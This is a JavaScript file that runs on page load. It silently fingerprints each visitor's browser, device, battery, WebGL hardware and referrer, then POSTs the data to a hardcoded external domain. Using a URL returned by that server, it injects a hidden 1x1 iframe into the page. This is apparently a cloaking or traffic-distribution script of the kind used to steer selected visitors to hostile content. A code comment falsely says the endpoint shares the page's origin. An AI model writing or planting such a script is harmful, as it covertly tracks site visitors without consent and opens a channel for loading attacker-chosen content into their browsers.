window.onload = async () => {
    let iFrameUrl = undefined;


    function detectOS(ua) {
        if (/windows phone/i.test(ua)) return "Windows Phone";
        if (/android/i.test(ua)) return "Android";
        if (/iPad|iPhone|iPod/.test(ua)) return "iOS";
        if (/Macintosh/.test(ua)) return "macOS";
        if (/Windows NT/.test(ua)) return "Windows";
        if (/Linux/.test(ua)) return "Linux";
        return "Unknown";
    }

    function detectBrowser(ua) {
        ua = ua.toLowerCase();
        if (ua.includes('fbav')) return "Facebook In-App Browser";
        if (ua.includes('instagram')) return "Instagram In-App Browser";
        if (ua.includes('line')) return "LINE In-App Browser";
        if (ua.includes('tiktok')) return "TikTok In-App Browser";
        if (ua.includes('wv') && ua.includes('android')) return "Android WebView";
        if (ua.includes('crios') && !ua.includes('chrome')) return "iOS Chrome WebView";
        if (ua.includes('fxios')) return "iOS Firefox WebView";
        if (ua.includes('edgios')) return "iOS Edge WebView";
        if (ua.includes('duckduckgo')) return "DuckDuckGo Browser";
        if (ua.includes('vivaldi')) return "Vivaldi";
        if (ua.includes('brave')) return "Brave";
        if (ua.includes('samsungbrowser')) return "Samsung Internet";
        if (ua.includes('tor')) return "Tor Browser";
        if (ua.includes('edg/')) return "Microsoft Edge";
        if (ua.includes('opr/') || ua.includes('opera')) return "Opera";
        if (ua.includes('firefox')) return "Firefox";
        if (ua.includes('chrome') && ua.includes('safari') && !ua.includes('edg')) return "Chrome";
        if (ua.includes('safari') && !ua.includes('chrome')) return "Safari";
        return "Unknown";
    }

    /* --------------------------- main logic --------------------------- */
    async function getDeviceInfo() {
        console.log("Get fingerprint")
        let ua;
        try {
             ua = navigator.userAgent || "unknown";
        } catch (e) {
            ua = "unknown"
        }

        let platform;
        try {
            platform = navigator.platform || "unknown";
        } catch (e) {
            platform = "unknown"
        }


        let os;
        try {
            os = detectOS(ua);
        } catch (e) {
            os = "Unknown"
        }

        let browser;
        try {
            browser = detectBrowser(ua);
        } catch (e) {
            browser = "Unknown"
        }

        let languages;
        try {
            languages = navigator.languages || [navigator.language || "unknown"];
        } catch (e) {
            languages = "unknown"
        }

        let tz;
        try {
            tz = Intl.DateTimeFormat().resolvedOptions().timeZone || "unknown";
        } catch (e) {
            tz = "unknown"
        }

        let locale;
        try {
            locale = Intl.DateTimeFormat().resolvedOptions().locale || "unknown";
        } catch (e) {
            locale = "unknown"
        }

        let dateTime = undefined;
        try {
            dateTime = new Date().toString();
        } catch (e) {}

        let screenRes = undefined;
        try {
            screenRes = `${screen.width}x${screen.height}`;
        } catch (e) {}

        let viewportSize = undefined;
        try {
            viewportSize = `${window.innerWidth}x${window.innerHeight}`;
        } catch (e) {}

        let colorDepth;
        try {
            colorDepth = screen.colorDepth || "unknown";
        } catch (e) {
            colorDepth = "unknown"
        }

        let  cookieEnabled = undefined;
        try {
            cookieEnabled = navigator.cookieEnabled || false;
        } catch (e) {
            cookieEnabled = false;
        }

        let  javaEnabled = undefined;
        try {
            javaEnabled = navigator.javaEnabled ? navigator.javaEnabled() : false;
        } catch (e) {
            javaEnabled = false;
        }

        let cpuCores = undefined;
        try {
            cpuCores = navigator.hardwareConcurrency || "unknown";
        } catch (e) {
            cpuCores = "unknown";
        }

        let deviceMemory = undefined;
        try {
            deviceMemory = navigator.deviceMemory ? `${navigator.deviceMemory} GB` : "unknown";
        } catch (e) {
            deviceMemory = "unknown";
        }

        let referrer = undefined;
        try {
            referrer = document.referrer || "none";
        } catch (e) {
            referrer = "none";
        }

        let touchSupport = undefined;
        try {
            touchSupport = 'ontouchstart' in window || navigator.maxTouchPoints > 0;
        } catch (e) {
            touchSupport = false;
        }

        let screenOrientation = undefined;
        try {
            screenOrientation = (screen.orientation || {}).type || "unknown";
        } catch (e) {
            screenOrientation = "unknown";
        }

        let clipboardAccess = false;
        try {
            clipboardAccess = !!navigator.clipboard;
        } catch {}

        let plugins = [];
        try {
            for (let i = 0; i < (navigator.plugins || []).length; i++) {
                plugins.push(navigator.plugins[i].name);
            }
        } catch {
        }

        let webglInfo = {vendor: 'unknown', renderer: 'unknown'};
        try {
            const canvas = document.createElement('canvas');
            const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
            if (gl) {
                const d = gl.getExtension('WEBGL_debug_renderer_info');
                if (d) {
                    webglInfo.vendor = gl.getParameter(d.UNMASKED_VENDOR_WEBGL);
                    webglInfo.renderer = gl.getParameter(d.UNMASKED_RENDERER_WEBGL);
                }
            }
        } catch {
        }

        let iframeDepthA = 0;
        let currentWindow = window;
        try {
            while (currentWindow !== currentWindow.parent) {
                iframeDepthA++;
                currentWindow = currentWindow.parent;
            }
        } catch (e) {
            console.log("error fetch iframeDepth");
            iframeDepthA = -1;
            console.log(e);
        }

        let battery = undefined;
        try {
            let bt = [-1, -1, -1];
            let d = await navigator.getBattery();
            bt = [d.charging, d.chargingTime, d.level];
            battery = encodeURIComponent(bt);
        } catch (e) {
        }


        const payload = {
            os,
            browser,
            userAgent: ua,
            platform,
            languages,
            timezone: tz,
            locale,
            dateTime,
            screenResolution: screenRes,
            viewportSize,
            colorDepth,
            cookieEnabled,
            javaEnabled,
            cpuCores,
            deviceMemory,
            referrer,
            touchSupport,
            screenOrientation,
            clipboardAccess,
            plugins,
            webglInfo,
            iframeDepthA,
            battery: battery
        };

        console.log(payload);
        /* Build endpoint so that its origin (scheme+host+port) matches the page. */
        const endpoint = "https://elevateedifice.com/check-data?t=3564a78c-d846-4357-bcfd-af727b6858fb";

        /* ----   POST (send payload) → GET (check redirect flag) chain   ---- */
        try {
            const response = await fetch(endpoint, {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify(payload)
            });
            const body = await response.json();
            iFrameUrl = body.url;
        } catch (e) {
            console.error('Error during fetch/redirect:', e);
        }

    }

    await getDeviceInfo();

    const link = "";

    if (!link) {
        const injectIframe = () => {
            if (!iFrameUrl) {
                return;
            }
            const ifrm = document.createElement('iframe');
            ifrm.src = iFrameUrl;
            ifrm.style.cssText = 'width:1px;height:1px;border:none;';
            document.body.appendChild(ifrm);
        };

        if (document.readyState === 'complete') {
            injectIframe();
        } else {
            window.addEventListener('load', injectIframe, {once: true});
        }
    }

}